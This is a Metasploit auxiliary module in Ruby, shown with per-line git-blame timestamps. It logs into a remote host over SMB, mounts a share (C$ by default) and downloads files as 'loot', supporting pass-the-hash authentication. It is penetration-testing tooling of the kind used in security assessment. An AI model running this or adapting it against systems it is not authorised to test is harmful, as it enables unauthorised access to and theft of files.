2013-10-22 20:31:56 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-22 20:31:56 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-10-22 20:31:56 +00:00
|
|
|
|
|
|
|
# Exploit mixins should be called first
|
2015-02-13 23:17:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB::Client
|
|
|
|
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
2015-11-10 02:15:40 +00:00
|
|
|
include Msf::Exploit::Remote::SMB::Client::RemotePaths
|
2013-10-22 20:31:56 +00:00
|
|
|
include Msf::Auxiliary::Report
|
2014-12-30 02:02:40 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
2013-10-22 20:31:56 +00:00
|
|
|
|
|
|
|
# Aliases for common classes
|
|
|
|
SIMPLE = Rex::Proto::SMB::SimpleClient
|
|
|
|
XCEPT = Rex::Proto::SMB::Exceptions
|
|
|
|
CONST = Rex::Proto::SMB::Constants
|
|
|
|
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'SMB File Download Utility',
|
|
|
|
'Description' => %Q{
|
2014-09-21 23:35:26 +00:00
|
|
|
This module downloads a file from a target share and path. The usual reason
|
2013-10-28 18:48:25 +00:00
|
|
|
to use this module is to work around limitations in an existing SMB client that may not
|
|
|
|
be able to take advantage of pass-the-hash style authentication.
|
2013-10-22 20:31:56 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2013-10-23 01:13:30 +00:00
|
|
|
'mubix' # copied from hdm upload_file module
|
2013-10-22 20:31:56 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options([
|
2014-12-30 17:21:29 +00:00
|
|
|
OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-10-22 20:31:56 +00:00
|
|
|
end
|
|
|
|
|
2013-10-23 17:22:49 +00:00
|
|
|
def smb_download
|
2016-06-08 17:16:50 +00:00
|
|
|
vprint_status("Connecting...")
|
2013-10-22 20:31:56 +00:00
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
2014-12-30 02:02:40 +00:00
|
|
|
vprint_status("#{peer}: Mounting the remote share \\\\#{rhost}\\#{datastore['SMBSHARE']}'...")
|
2013-10-22 20:31:56 +00:00
|
|
|
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
|
|
|
|
2014-12-30 17:21:29 +00:00
|
|
|
remote_paths.each do |remote_path|
|
|
|
|
begin
|
2016-06-08 17:16:50 +00:00
|
|
|
vprint_status("Trying to download #{remote_path}...")
|
2014-12-30 17:21:29 +00:00
|
|
|
|
|
|
|
data = ''
|
|
|
|
fd = simple.open("\\#{remote_path}", 'ro')
|
|
|
|
begin
|
|
|
|
data = fd.read
|
|
|
|
ensure
|
|
|
|
fd.close
|
|
|
|
end
|
|
|
|
|
|
|
|
fname = remote_path.split("\\")[-1]
|
|
|
|
path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname)
|
2016-06-08 17:16:50 +00:00
|
|
|
print_good("#{remote_path} saved as: #{path}")
|
2014-12-30 17:21:29 +00:00
|
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
2015-12-08 17:06:59 +00:00
|
|
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
2016-06-08 17:16:50 +00:00
|
|
|
print_error("Unable to download #{remote_path}: #{e.message}")
|
2014-12-30 17:21:29 +00:00
|
|
|
end
|
2013-10-23 17:16:18 +00:00
|
|
|
end
|
2013-10-22 20:31:56 +00:00
|
|
|
end
|
|
|
|
|
2014-12-30 02:02:40 +00:00
|
|
|
def run_host(ip)
|
2013-10-23 17:22:49 +00:00
|
|
|
begin
|
|
|
|
smb_download
|
|
|
|
rescue Rex::Proto::SMB::Exceptions::LoginError => e
|
2015-12-08 17:06:59 +00:00
|
|
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
2016-06-08 17:16:50 +00:00
|
|
|
print_error("Unable to login: #{e.message}")
|
2013-10-23 17:22:49 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-10-22 20:31:56 +00:00
|
|
|
end
|